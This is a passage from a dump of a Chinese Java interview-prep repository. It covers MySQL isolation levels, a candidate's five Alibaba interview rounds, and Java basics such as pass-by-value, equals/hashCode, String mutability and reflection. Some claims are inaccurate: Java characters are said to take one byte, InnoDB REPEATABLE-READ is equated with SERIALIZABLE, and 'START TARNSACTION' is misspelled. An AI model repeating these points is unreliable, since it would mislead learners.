致A再读自己的工资时工资变为  2000；这就是不可重复读。\n\n 例2（同样的条件, 第1次和第2次读出来的记录数不一样 ）：假某工资单表中工资大于3000的有4人，事务1读取了所有工资大于3000的人，共查到4条记录，这时事务2 又插入了一条工资大于3000的记录，事务1再次读取时查到的记录就变为了5条，这样就导致了幻读。\n\n### 事务隔离级别\n\n**SQL 标准定义了四个隔离级别：**\n\n- **READ-UNCOMMITTED(读取未提交)：** 最低的隔离级别，允许读取尚未提交的数据变更，**可能会导致脏读、幻读或不可重复读**\n- **READ-COMMITTED(读取已提交):** 允许读取并发事务已经提交的数据，**可以阻止脏读，但是幻读或不可重复读仍有可能发生**\n- **REPEATABLE-READ（可重读）:**  对同一字段的多次读取结果都是一致的，除非数据是被本身事务自己所修改，**可以阻止脏读和不可重复读，但幻读仍有可能发生。**\n- **SERIALIZABLE(可串行化):** 最高的隔离级别，完全服从ACID的隔离级别。所有的事务依次逐个执行，这样事务之间就完全不可能产生干扰，也就是说，**该级别可以防止脏读、不可重复读以及幻读**。\n\nMySQL InnoDB 存储引擎的默认支持的隔离级别是 **REPEATABLE-READ（可重读）**。我们可以通过`SELECT @@tx_isolation;`命令来查看\n\n```sql\nmysql> SELECT @@tx_isolation;\n+-----------------+\n| @@tx_isolation  |\n+-----------------+\n| REPEATABLE-READ |\n+-----------------+\n```\n\n这里需要注意的是：与 SQL 标准不同的地方在于InnoDB 存储引擎在 **REPEATABLE-READ（可重读）**事务隔离级别下使用的是Next-Key Lock 锁算法，因此可以避免幻读的产生，这与其他数据库系统(如 SQL Server)是不同的。所以说InnoDB 存储引擎的默认支持的隔离级别是 **REPEATABLE-READ（可重读）** 已经可以完全保证事务的隔离性要求，即达到了 SQL标准的**SERIALIZABLE(可串行化)**隔离级别。\n\n因为隔离级别越低，事务请求的锁越少，所以大部分数据库系统的隔离级别都是**READ-COMMITTED(读取提交内容):**，但是你要知道的是InnoDB 存储引擎默认使用 **REPEATABLE-READ（可重读）**并不会有任何性能损失。\n\nInnoDB 存储引擎在 **分布式事务** 的情况下一般会用到**SERIALIZABLE(可串行化)**隔离级别。\n\n### 实际情况演示\n\n在下面我会使用 2 个命令行mysql ，模拟多线程（多事务）对同一份数据的脏读问题。\n\nMySQL 命令行的默认配置中事务都是自动提交的，即执行SQL语句后就会马上执行 COMMIT 操作。如果要显式地开启一个事务需要使用命令：`START TARNSACTION`。\n\n我们可以通过下面的命令来设置隔离级别。\n\n```sql\nSET [SESSION|GLOBAL] TRANSACTION ISOLATION LEVEL [READ UNCOMMITTED|READ COMMITTED|REPEATABLE READ|SERIALIZABLE]\n```\n\n我们再来看一下我们在下面实际操作中使用到的一些并发控制语句:\n\n- `START TARNSACTION` |`BEGIN`:显式地开启一个事务。\n- `COMMIT`:提交事务，使得对数据库做的所有修改成为永久性。\n- `ROLLBACK` 回滚会结束用户的事务，并撤销正在进行的所有未提交的修改。\n\n#### 脏读(读未提交)\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-31-1脏读(读未提交)实例.jpg\" width=\"800px\"/>\n</div>\n\n#### 避免脏读(读已提交)\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-31-2读已提交实例.jpg\" width=\"800px\"/>\n</div>\n\n#### 不可重复读\n\n还是刚才上面的读已提交的图，虽然避免了读未提交，但是却出现了，一个事务还没有结束，就发生了 不可重复读问题。\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-32-1不可重复读实例.jpg\"/>\n</div>\n\n#### 可重复读\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-33-2可重复读.jpg\"/>\n</div>\n\n#### 防止幻读(可重复读)\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-33防止幻读(使用可重复读).jpg\"/>\n</div>\n\n一个事务对数据库进行操作，这种操作的范围是数据库的全部行，然后第二个事务也在对这个数据库操作，这种操作可以是插入一行记录或删除一行记录，那么第一个是事务就会觉得自己出现了幻觉，怎么还有没有处理的记录呢? 或者 怎么多处理了一行记录呢?\n\n幻读和不可重复读有些相似之处 ，但是不可重复读的重点是修改，幻读的重点在于新增或者删除。\n\n### 参考\n\n- 《MySQL技术内幕：InnoDB存储引擎》\n- <https://dev.mysql.com/doc/refman/5.7/en/>\n"
  },
  {
    "path": "docs/essential-content-for-interview/BATJrealInterviewExperience/5面阿里,终获offer.md",
    "content": "> 作者：ppxyn。本文来自读者投稿，同时也欢迎各位投稿，**对于不错的原创文章我根据你的选择给予现金(50-200)、付费专栏或者任选书籍进行奖励！所以，快提 pr 或者邮件的方式（邮件地址在主页）给我投稿吧！** 当然，我觉得奖励是次要的，最重要的是你可以从自己整理知识点的过程中学习到很多知识。\n\n**目录**\n\n<!-- MarkdownTOC -->\n\n- [前言](#前言)\n- [一面\\(技术面\\)](#一面技术面)\n- [二面\\(技术面\\)](#二面技术面)\n- [三面\\(技术面\\)](#三面技术面)\n- [四面\\(半个技术面\\)](#四面半个技术面)\n- [五面\\(HR面\\)](#五面hr面)\n- [总结](#总结)\n\n<!-- /MarkdownTOC -->\n\n### 前言\n\n在接触 Java 之前我接触的比较多的是硬件方面，用的比较多的语言就是C和C++。到了大三我才正式选择 Java 方向，到目前为止使用Java到现在大概有一年多的时间，所以Java算不上很好。刚开始投递的时候，实习刚辞职，也没准备笔试面试，很多东西都忘记了。所以，刚开始我并没有直接就投递阿里，毕竟心里还是有一点点小害怕的。于是，我就先投递了几个不算大的公司来练手，就是想着刷刷经验而已或者说是练练手（ps：还是挺对不起那些公司的）。面了一个月其他公司后，我找了我实验室的学长内推我，后面就有了这5次面试。\n\n下面简单的说一下我的这5次面试：4次技术面+1次HR面，希望我的经历能对你有所帮助。\n\n### 一面(技术面)\n\n1. 自我介绍（主要讲自己会的技术细节，项目经验，经历那些就一语带过，后面面试官会问你的）。\n2. 聊聊项目（就是一个很普通的分布式商城，自己做了一些改进），让我画了整个项目的架构图，然后针对项目抛了一系列的提高性能的问题，还问了我做项目的过程中遇到了那些问题，如何解决的，差不读就这些吧。\n3. 可能是我前面说了我会数据库优化，然后面试官就开始问索引、事务隔离级别、悲观锁和乐观锁、索引、ACID、MVVC这些问题。\n4. 浏览器输入URL发生了什么? TCP和UDP区别? TCP如何保证传输可靠性?\n5. 讲下跳表怎么实现的?哈夫曼编码是怎么回事？非递归且不用额外空间（不用栈），如何遍历二叉树\n6. 后面又问了很多JVM方面的问题，比如Java内存模型、常见的垃圾回收器、双亲委派模型这些\n7. 你有什么问题要问吗？\n\n### 二面(技术面)\n\n1. 自我介绍（主要讲自己会的技术细节，项目经验，经历那些就一语带过，后面面试官会问你的）。\n2. 操作系统的内存管理机制\n3. 进程和线程的区别\n4. 说下你对线程安全的理解\n5. volatile 有什么作用 ，sychronized和lock有什么区别\n6. ReentrantLock实现原理\n7. 用过CountDownLatch么？什么场景下用的？\n8. AQS底层原理。\n9. 造成死锁的原因有哪些，如何预防？\n10.  加锁会带来哪些性能问题。如何解决？  \n11. HashMap、ConcurrentHashMap源码。HashMap是线程安全的吗？Hashtable呢？ConcurrentHashMap有了解吗？    \n12. 是否可以实习？ \n13. 你有什么问题要问吗？  \n\n### 三面(技术面)\n\n1. 有没有参加过 ACM 或者他竞赛，有没有拿过什么奖？（  我说我没参加过ACM，本科参加过数学建模竞赛，名次并不好，没拿过什么奖。面试官好像有点失望，然后我又赶紧补充说我和老师一起做过一个项目，目前已经投入使用。面试官还比较感兴趣，后面又和他聊了一下这个项目。）\n2. 研究生期间，做过什么项目，发过论文吗？有什么成果吗？\n3. 你觉得你有什么优点和缺点？你觉得你相比于那些比你更优秀的人欠缺什么？\n4. 有读过什么源码吗？（我说我读过 Java 集合框架和 Netty 的，面试官说 Java 集合前几面一定问的差不多，就不问了，然后就问我 Netty的，我当时很慌啊！）\n5. 介绍一下自己对 Netty 的认识，为什么要用。说说业务中，Netty 的使用场景。什么是TCP 粘包/拆包,解决办法。Netty线程模型。Dubbo 在使用 Netty 作为网络通讯时候是如何避免粘包与半包问题？讲讲Netty的零拷贝？巴拉巴拉问了好多，我记得有好几个我都没回答上来，心里想着凉凉了啊。\n6. 用到了那些开源技术、在开源领域做过贡献吗？\n7. 常见的排序算法及其复杂度，现场写了快排。\n8. 红黑树，B树的一些问题。\n9. 讲讲算法及数据结构在实习项目中的用处。\n10. 自己的未来规划（就简单描述了一下自己未来的设想啊，说的还挺诚恳，面试官好像还挺满意的）\n11. 你有什么问题要问吗？  \n\n### 四面(半个技术面)\n\n三面面完当天，晚上9点接到面试电话，感觉像是部门或者项目主管。 这个和之前的面试不大相同，感觉面试官主要考察的是你解决问题的能力、学习能力和团队协作能力。\n\n1.  让我讲一个自己觉得最不错的项目。然后就巴拉巴拉的聊，我记得主要是问了项目是如何进行协作的、遇到问题是如何解决的、与他人发生冲突是如何解决的这些。感觉聊了挺久。\n2.  出现 OOM 后你会怎么排查问题？\n3. 自己平时是如何学习新技术的？除了 Java 还回去了解其他技术吗?\n4. 上一段实习经历的收获。\n5. NginX如何做负载均衡、常见的负载均衡算法有哪些、一致性哈希的一致性是什么意思、一致性哈希是如何做哈希的  \n6. 你有什么问题问我吗？\n7. 还有一些其他的，想不起来了，感觉这一面不是偏向技术来问。\n\n## 五面(HR面)\n\n1. 自我介绍（主要讲能突出自己的经历，会的编程技术一语带过）。\n2. 你觉得你有什么优点和缺点？如何克服这些缺点？\n3. 说一件大学里你自己比较有成就感的一件事情，为此付出了那些努力。\n4. 你前面跟其他面试官讲过一些你做的项目吧？可以给我讲讲吗？你要考虑到我不是一个做技术的人，怎么让我也听得懂。项目中有什么问题，你怎么解决的？你最大的收获是什么？\n5. 你目前有面试过其他公司吗？如果让你选，这些公司和阿里，你选哪个？（送分题，回答不好可能送命）\n6. 你期望的工作地点是哪里？\n7. 你有什么问题吗？\n\n### 总结\n\n1. 可以看出面试官问我的很多问题都是比较常见的问题，所以记得一定要提前准备，还要深入准备，不要回答的太皮毛。很多时候一个问题可能会牵扯出很多问题，遇到不会的问题不要慌，冷静分析，如果你真的回答不上来，也不要担心自己是不是就要挂了，很可能这个问题本身就比较难。\n2. 表达能力和沟通能力太重要了，一定要提前练一下，我自身就是一个不太会说话的人，所以，面试前我对于自我介绍、项目介绍和一些常见问题都在脑子里练了好久，确保面试的时候能够很清晰和简洁的说出来。\n3. 等待面试的过程和面试的过程真的好熬人，那段时间我压力也比较大，好在我私下找到学长聊了很多，心情也好了很多。\n4. 面试之后及时总结，面的好的话，不要得意，尽快准备下一场面试吧！\n\n我觉得我还算是比较幸运的，最后也祝大家都能获得心仪的Offer。\n\n          \n\n        \n"
  },
  {
    "path": "docs/essential-content-for-interview/MostCommonJavaInterviewQuestions/第一周（2018-8-7）.md",
    "content": "\n\n## 一 为什么 Java 中只有值传递？\n\n\n首先回顾一下在程序设计语言中有关将参数传递给方法（或函数）的一些专业术语。**按值调用(call by value)表示方法接收的是调用者提供的值，而按引用调用（call by reference)表示方法接收的是调用者提供的变量地址。一个方法可以修改传递引用所对应的变量值，而不能修改传递值调用所对应的变量值。**  它用来描述各种程序设计语言（不只是Java)中方法参数传递方式。\n\n**Java程序设计语言总是采用按值调用。也就是说，方法得到的是所有参数值的一个拷贝，也就是说，方法不能修改传递给它的任何参数变量的内容。**\n\n**下面通过 3 个例子来给大家说明**\n\n### example 1 \n\n\n```java\npublic static void main(String[] args) {\n    int num1 = 10;\n    int num2 = 20;\n\n    swap(num1, num2);\n\n    System.out.println(\"num1 = \" + num1);\n    System.out.println(\"num2 = \" + num2);\n}\n\npublic static void swap(int a, int b) {\n    int temp = a;\n    a = b;\n    b = temp;\n\n    System.out.println(\"a = \" + a);\n    System.out.println(\"b = \" + b);\n}\n```\n\n**结果：**\n\n```\na = 20\nb = 10\nnum1 = 10\nnum2 = 20\n```\n\n**解析：**\n\n![example 1 ](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-27/22191348.jpg)\n\n在swap方法中，a、b的值进行交换，并不会影响到 num1、num2。因为，a、b中的值，只是从 num1、num2 的复制过来的。也就是说，a、b相当于num1、num2 的副本，副本的内容无论怎么修改，都不会影响到原件本身。\n\n**通过上面例子，我们已经知道了一个方法不能修改一个基本数据类型的参数，而对象引用作为参数就不一样，请看 example2.**\n\n\n### example 2\n\n```java\n\tpublic static void main(String[] args) {\n\t\tint[] arr = { 1, 2, 3, 4, 5 };\n\t\tSystem.out.println(arr[0]);\n\t\tchange(arr);\n\t\tSystem.out.println(arr[0]);\n\t}\n\n\tpublic static void change(int[] array) {\n\t\t// 将数组的第一个元素变为0\n\t\tarray[0] = 0;\n\t}\n```\n\n**结果：**\n\n```\n1\n0\n```\n\n**解析：**\n\n![example 2](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-27/3825204.jpg)\n\narray 被初始化 arr 的拷贝也就是一个对象的引用，也就是说 array 和 arr 指向的时同一个数组对象。 因此，外部对引用对象的改变会反映到所对应的对象上。\n\n\n**通过 example2 我们已经看到，实现一个改变对象参数状态的方法并不是一件难事。理由很简单，方法得到的是对象引用的拷贝，对象引用及其他的拷贝同时引用同一个对象。**\n\n**很多程序设计语言（特别是，C++和Pascal)提供了两种参数传递的方式：值调用和引用调用。有些程序员（甚至本书的作者）认为Java程序设计语言对对象采用的是引用调用，实际上，这种理解是不对的。由于这种误解具有一定的普遍性，所以下面给出一个反例来详细地阐述一下这个问题。**\n\n\n### example 3\n\n```java\npublic class Test {\n\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\tStudent s1 = new Student(\"小张\");\n\t\tStudent s2 = new Student(\"小李\");\n\t\tTest.swap(s1, s2);\n\t\tSystem.out.println(\"s1:\" + s1.getName());\n\t\tSystem.out.println(\"s2:\" + s2.getName());\n\t}\n\n\tpublic static void swap(Student x, Student y) {\n\t\tStudent temp = x;\n\t\tx = y;\n\t\ty = temp;\n\t\tSystem.out.println(\"x:\" + x.getName());\n\t\tSystem.out.println(\"y:\" + y.getName());\n\t}\n}\n```\n\n**结果：**\n\n```\nx:小李\ny:小张\ns1:小张\ns2:小李\n```\n\n**解析：**\n\n交换之前：\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-27/88729818.jpg)\n\n交换之后：\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-27/34384414.jpg)\n\n\n通过上面两张图可以很清晰的看出： **方法并没有改变存储在变量 s1 和 s2 中的对象引用。swap方法的参数x和y被初始化为两个对象引用的拷贝，这个方法交换的是这两个拷贝**\n\n### 总结\n\nJava程序设计语言对对象采用的不是引用调用，实际上，对象引用是按\n值传递的。\n\n下面再总结一下Java中方法参数的使用情况：\n\n- 一个方法不能修改一个基本数据类型的参数（即数值型或布尔型）。\n- 一个方法可以改变一个对象参数的状态。\n- 一个方法不能让对象参数引用一个新的对象。\n\n\n### 参考：\n\n《Java核心技术卷Ⅰ》基础知识第十版第四章4.5小节\n\n## 二  ==与equals(重要)\n\n**==** : 它的作用是判断两个对象的地址是不是相等。即，判断两个对象是不是同一个对象。(基本数据类型==比较的是值，引用数据类型==比较的是内存地址)\n\n**equals()** : 它的作用也是判断两个对象是否相等。但它一般有两种使用情况：\n\n-  情况1：类没有覆盖equals()方法。则通过equals()比较该类的两个对象时，等价于通过“==”比较这两个对象。\n- 情况2：类覆盖了equals()方法。一般，我们都覆盖equals()方法来两个对象的内容相等；若它们的内容相等，则返回true(即，认为这两个对象相等)。\n\n\n**举个例子：**\n\n```java\npublic class test1 {\n    public static void main(String[] args) {\n        String a = new String(\"ab\"); // a 为一个引用\n        String b = new String(\"ab\"); // b为另一个引用,对象的内容一样\n        String aa = \"ab\"; // 放在常量池中\n        String bb = \"ab\"; // 从常量池中查找\n        if (aa == bb) // true\n            System.out.println(\"aa==bb\");\n        if (a == b) // false，非同一对象\n            System.out.println(\"a==b\");\n        if (a.equals(b)) // true\n            System.out.println(\"aEQb\");\n        if (42 == 42.0) { // true\n            System.out.println(\"true\");\n        }\n    }\n}\n```\n\n**说明：**\n\n- String中的equals方法是被重写过的，因为object的equals方法是比较的对象的内存地址，而String的equals方法比较的是对象的值。\n- 当创建String类型的对象时，虚拟机会在常量池中查找有没有已经存在的值和要创建的值相同的对象，如果有就把它赋给当前引用。如果没有就在常量池中重新创建一个String对象。\n\n\n\n## 三  hashCode与equals（重要）\n\n面试官可能会问你：“你重写过 hashcode 和 equals 么，为什么重写equals时必须重写hashCode方法？”\n\n### hashCode（）介绍\nhashCode() 的作用是获取哈希码，也称为散列码；它实际上是返回一个int整数。这个哈希码的作用是确定该对象在哈希表中的索引位置。hashCode() 定义在JDK的Object.java中，这就意味着Java中的任何类都包含有hashCode() 函数。另外需要注意的是： Object 的 hashcode 方法是本地方法，也就是用 c 语言或 c++ 实现的，该方法通常用来将对象的 内存地址 转换为整数之后返回。\n\n```java\n    /**\n     * Returns a hash code value for the object. This method is\n     * supported for the benefit of hash tables such as those provided by\n     * {@link java.util.HashMap}.\n     * <p>\n     * As much as is reasonably practical, the hashCode method defined by\n     * class {@code Object} does return distinct integers for distinct\n     * objects. (This is typically implemented by converting the internal\n     * address of the object into an integer, but this implementation\n     * technique is not required by the\n     * Java&trade; programming language.)\n     *\n     * @return  a hash code value for this object.\n     * @see     java.lang.Object#equals(java.lang.Object)\n     * @see     java.lang.System#identityHashCode\n     */\n    public native int hashCode();\n```\n\n散列表存储的是键值对(key-value)，它的特点是：能根据“键”快速的检索出对应的“值”。这其中就利用到了散列码！（可以快速找到所需要的对象）\n\n### 为什么要有hashCode\n\n\n**我们以“HashSet如何检查重复”为例子来说明为什么要有hashCode：**\n\n当你把对象加入HashSet时，HashSet会先计算对象的hashcode值来判断对象加入的位置，同时也会与其他已经加入的对象的hashcode值作比较，如果没有相符的hashcode，HashSet会假设对象没有重复出现。但是如果发现有相同hashcode值的对象，这时会调用equals（）方法来检查hashcode相等的对象是否真的相同。如果两者相同，HashSet就不会让其加入操作成功。如果不同的话，就会重新散列到其他位置。（摘自我的Java启蒙书《Head fist java》第二版）。这样我们就大大减少了equals的次数，相应就大大提高了执行速度。\n\n\n\n### hashCode（）与equals（）的相关规定\n\n1. 如果两个对象相等，则hashcode一定也是相同的\n2. 两个对象相等,对两个对象分别调用equals方法都返回true\n3. 两个对象有相同的hashcode值，它们也不一定是相等的\n4. **因此，equals方法被覆盖过，则hashCode方法也必须被覆盖**\n5. hashCode()的默认行为是对堆上的对象产生独特值。如果没有重写hashCode()，则该class的两个对象无论如何都不会相等（即使这两个对象指向相同的数据）\n\n### 为什么两个对象有相同的hashcode值，它们也不一定是相等的？\n\n在这里解释一位小伙伴的问题。以下内容摘自《Head Fisrt Java》。\n\n因为hashCode() 所使用的杂凑算法也许刚好会让多个对象传回相同的杂凑值。越糟糕的杂凑算法越容易碰撞，但这也与数据值域分布的特性有关（所谓碰撞也就是指的是不同的对象得到相同的 hashCode）。 \n\n我们刚刚也提到了 HashSet,如果 HashSet 在对比的时候，同样的 hashcode 有多个对象，它会使用 equals() 来判断是否真的相同。也就是说 hashcode 只是用来缩小查找成本。\n\n参考：\n\n[https://blog.csdn.net/zhzhao999/article/details/53449504](https://blog.csdn.net/zhzhao999/article/details/53449504)\n\n[https://www.cnblogs.com/skywang12345/p/3324958.html](https://www.cnblogs.com/skywang12345/p/3324958.html)\n\n[https://www.cnblogs.com/Eason-S/p/5524837.html](https://www.cnblogs.com/Eason-S/p/5524837.html)\n\n"
  },
  {
    "path": "docs/essential-content-for-interview/MostCommonJavaInterviewQuestions/第二周(2018-8-13).md",
    "content": "\n### String和StringBuffer、StringBuilder的区别是什么？String为什么是不可变的？\n\n####  String和StringBuffer、StringBuilder的区别\n\n**可变性**\n　\n\n简单的来说：String 类中使用 final 关键字字符数组保存字符串，`private　final　char　value[]`，所以 String 对象是不可变的。而StringBuilder 与 StringBuffer 都继承自 AbstractStringBuilder 类，在 AbstractStringBuilder 中也是使用字符数组保存字符串`char[]value` 但是没有用 final 关键字修饰，所以这两种对象都是可变的。\n\nStringBuilder 与 StringBuffer 的构造方法都是调用父类构造方法也就是 AbstractStringBuilder 实现的，大家可以自行查阅源码。\n\nAbstractStringBuilder.java\n\n```java\nabstract class AbstractStringBuilder implements Appendable, CharSequence {\n    char[] value;\n    int count;\n    AbstractStringBuilder() {\n    }\n    AbstractStringBuilder(int capacity) {\n        value = new char[capacity];\n    }\n```\n\n\n**线程安全性**\n\nString 中的对象是不可变的，也就可以理解为常量，线程安全。AbstractStringBuilder 是 StringBuilder 与 StringBuffer 的公共父类，定义了一些字符串的基本操作，如 expandCapacity、append、insert、indexOf 等公共方法。StringBuffer 对方法加了同步锁或者对调用的方法加了同步锁，所以是线程安全的。StringBuilder 并没有对方法进行加同步锁，所以是非线程安全的。\n　　\n\n**性能**\n\n每次对 String 类型进行改变的时候，都会生成一个新的 String 对象，然后将指针指向新的 String 对象。StringBuffer 每次都会对 StringBuffer 对象本身进行操作，而不是生成新的对象并改变对象引用。相同情况下使用 StirngBuilder 相比使用 StringBuffer 仅能获得 10%~15% 左右的性能提升，但却要冒多线程不安全的风险。\n\n**对于三者使用的总结：** \n1. 操作少量的数据 = String\n2. 单线程操作字符串缓冲区下操作大量数据 = StringBuilder\n3. 多线程操作字符串缓冲区下操作大量数据 = StringBuffer\n\n####  String为什么是不可变的吗？\n简单来说就是String类利用了final修饰的char类型数组存储字符，源码如下图所以：\n\n```java\n    /** The value is used for character storage. */\n    private final char value[];\n```\n\n####  String真的是不可变的吗？\n我觉得如果别人问这个问题的话，回答不可变就可以了。\n下面只是给大家看两个有代表性的例子：\n\n**1) String不可变但不代表引用不可以变**\n```java\n\t\tString str = \"Hello\";\n\t\tstr = str + \" World\";\n\t\tSystem.out.println(\"str=\" + str);\n```\n结果：\n```\nstr=Hello World\n```\n解析：\n\n实际上，原来String的内容是不变的，只是str由原来指向\"Hello\"的内存地址转为指向\"Hello World\"的内存地址而已，也就是说多开辟了一块内存区域给\"Hello World\"字符串。\n\n**2) 通过反射是可以修改所谓的“不可变”对象**\n\n```java\n\t\t// 创建字符串\"Hello World\"， 并赋给引用s\n\t\tString s = \"Hello World\";\n\n\t\tSystem.out.println(\"s = \" + s); // Hello World\n\n\t\t// 获取String类中的value字段\n\t\tField valueFieldOfString = String.class.getDeclaredField(\"value\");\n\n\t\t// 改变value属性的访问权限\n\t\tvalueFieldOfString.setAccessible(true);\n\n\t\t// 获取s对象上的value属性的值\n\t\tchar[] value = (char[]) valueFieldOfString.get(s);\n\n\t\t// 改变value所引用的数组中的第5个字符\n\t\tvalue[5] = '_';\n\n\t\tSystem.out.println(\"s = \" + s); // Hello_World\n```\n\n结果：\n\n```\ns = Hello World\ns = Hello_World\n```\n\n解析：\n\n用反射可以访问私有成员， 然后反射出String对象中的value属性， 进而改变通过获得的value引用改变数组的结构。但是一般我们不会这么做，这里只是简单提一下有这个东西。\n\n### 什么是反射机制？反射机制的应用场景有哪些？\n\n#### 反射机制介绍\n\nJAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。\n\n#### 静态编译和动态编译\n\n- **静态编译：**在编译时确定类型，绑定对象\n- **动态编译：**运行时确定类型，绑定对象\n\n#### 反射机制优缺点\n\n- **优点：** 运行期类型的判断，动态加载类，提高代码灵活度。\n- **缺点：** 性能瓶颈：反射相当于一系列解释操作，通知 JVM 要做的事情，性能比直接的java代码要慢很多。\n\n#### 反射的应用场景\n\n反射是框架设计的灵魂。\n\n在我们平时的项目开发过程中，基本上很少会直接使用到反射机制，但这不能说明反射机制没有用，实际上有很多设计、开发都与反射机制有关，例如模块化的开发，通过反射去调用对应的字节码；动态代理设计模式也采用了反射机制，还有我们日常使用的 Spring／Hibernate 等框架也大量使用到了反射机制。\n\n举例：①我们在使用JDBC连接数据库时使用Class.forName()通过反射加载数据库的驱动程序；②Spring框架也用到很多反射机制，最经典的就是xml的配置模式。Spring 通过 XML 配置模式装载 Bean 的过程：1) 将程序内所有 XML 或 Properties 配置文件加载入内存中;\n 2)Java类里面解析xml或properties里面的内容，得到对应实体类的字节码字符串以及相关的属性信息; 3)使用反射机制，根据这个字符串获得某个类的Class实例; 4)动态配置实例的属性\n\n**推荐阅读：**\n\n- [Reflection：Java反射机制的应用场景](https://segmentfault.com/a/1190000010162647?utm_source=tuicool&utm_medium=referral)\n- [Java基础之—反射（非常重要）](https://blog.csdn.net/sinat_38259539/article/details/71799078)\n### 什么是JDK?什么是JRE？什么是JVM？三者之间的联系与区别\n\n这几个是Java中很基本很基本的东西，但是我相信一定还有很多人搞不清楚！为什么呢？因为我们大多数时候在使用现成的编译工具以及环境的时候，并没有去考虑这些东西。\n\n**JDK:**  顾名思义它是给开发者提供的开发工具箱,是给程序开发者用的。它除了包括完整的JRE（Java Runtime Environment），Java运行环境，还包含了其他供开发者使用的工具包。\n\n**JRE:** 普通用户而只需要安装JRE（Java Runtime Environment）来运行Java程序。而程序开发者必须安装JDK来编译、调试程序。\n\n**JVM：** 当我们运行一个程序时，JVM负责将字节码转换为特定机器代码，JVM提供了内存管理/垃圾回收和安全机制等。这种独立于硬件和操作系统，正是java程序可以一次编写多处执行的原因。\n\n**区别与联系：**\n\n 1. JDK用于开发，JRE用于运行java程序 ；\n 2. JDK和JRE中都包含JVM ；\n 3. JVM是java编程语言的核心并且具有平台独立性。\n\n### 什么是字节码？采用字节码的最大好处是什么？\n\n**先看下java中的编译器和解释器：** 　　\n\nJava中引入了虚拟机的概念，即在机器和编译程序之间加入了一层抽象的虚拟的机器。这台虚拟的机器在任何平台上都提供给编译程序一个的共同的接口。编译程序只需要面向虚拟机，生成虚拟机能够理解的代码，然后由解释器来将虚拟机代码转换为特定系统的机器码执行。在Java中，这种供虚拟机理解的代码叫做`字节码`（即扩展名为`.class`的文件），它不面向任何特定的处理器，只面向虚拟机。每一种平台的解释器是不同的，但是实现的虚拟机是相同的。Java源程序经过编译器编译后变成字节码，字节码由虚拟机解释执行，虚拟机将每一条要执行的字节码送给解释器，解释器将其翻译成特定机器上的机器码，然后在特定的机器上运行。这也就是解释了Java的编译与解释并存的特点。\n\n Java源代码---->编译器---->jvm可执行的Java字节码(即虚拟指令)---->jvm---->jvm中解释器----->机器可执行的二进制机器码---->程序运行。 \n\n**采用字节码的好处：** 　　\n\nJava语言通过字节码的方式，在一定程度上解决了传统解释型语言执行效率低的问题，同时又保留了解释型语言可移植的特点。所以Java程序运行时比较高效，而且，由于字节码并不专对一种特定的机器，因此，Java程序无须重新编译便可在多种不同的计算机上运行。\n\n### Java和C++的区别\n\n我知道很多人没学过C++，但是面试官就是没事喜欢拿咱们Java和C++比呀！没办法！！！就算没学过C++，也要记下来！\n\n- 都是面向对象的语言，都支持封装、继承和多态\n- Java不提供指针来直接访问内存，程序内存更加安全\n-  Java的类是单继承的，C++支持多重继承；虽然Java的类不可以多继承，但是接口可以多继承。\n-   Java有自动内存管理机制，不需要程序员手动释放无用内存\n\n\n### 接口和抽象类的区别是什么？\n\n1. 接口的方法默认是public，所有方法在接口中不能有实现，抽象类可以有非抽象的方法\n2.  接口中的实例变量默认是final类型的，而抽象类中则不一定 \n3.  一个类可以实现多个接口，但最多只能实现一个抽象类 \n4.  一个类实现接口的话要实现接口的所有方法，而抽象类不一定 \n5.  接口不能用new实例化，但可以声明，但是必须引用一个实现该接口的对象 从设计层面来说，抽象是对类的抽象，是一种模板设计，接口是行为的抽象，是一种行为的规范。\n\n注意：Java8 后接口可以有默认实现( default )。\n\n### 成员变量与局部变量的区别有那些？\n\n1. 从语法形式上，看成员变量是属于类的，而局部变量是在方法中定义的变量或是方法的参数；成员变量可以被public,private,static等修饰符所修饰，而局部变量不能被访问控制修饰符及static所修饰；但是，成员变量和局部变量都能被final所修饰；\n2. 从变量在内存中的存储方式来看，成员变量是对象的一部分，而对象存在于堆内存，局部变量存在于栈内存\n3. 从变量在内存中的生存时间上看，成员变量是对象的一部分，它随着对象的创建而存在，而局部变量随着方法的调用而自动消失。\n4. 成员变量如果没有被赋初值，则会自动以类型的默认值而赋值（一种情况例外被final修饰但没有被static修饰的成员变量必须显示地赋值）；而局部变量则不会自动赋值。\n\n### 重载和重写的区别\n\n**重载：** 发生在同一个类中，方法名必须相同，参数类型不同、个数不同、顺序不同，方法返回值和访问修饰符可以不同，发生在编译时。 　　\n\n**重写：** 发生在父子类中，方法名、参数列表必须相同，返回值范围小于等于父类，抛出的异常范围小于等于父类，访问修饰符范围大于等于父类；如果父类方法访问修饰符为private则子类就不能重写该方法。\n\n### 字符型常量和字符串常量的区别\n1) 形式上:\n字符常量是单引号引起的一个字符 \n字符串常量是双引号引起的若干个字符\n2) 含义上:\n字符常量相当于一个整形值(ASCII值),可以参加表达式运算\n字符串常量代表一个地址值(该字符串在内存中存放位置)\n3) 占内存大小\n字符常量只占一个字节\n字符串常量占若干个字节(至少一个字符结束标志)\n"
  },
  {
    "path": "docs/essential-content-for-interview/MostCommonJavaInterviewQuestions/第四周(2018-8-30).md",
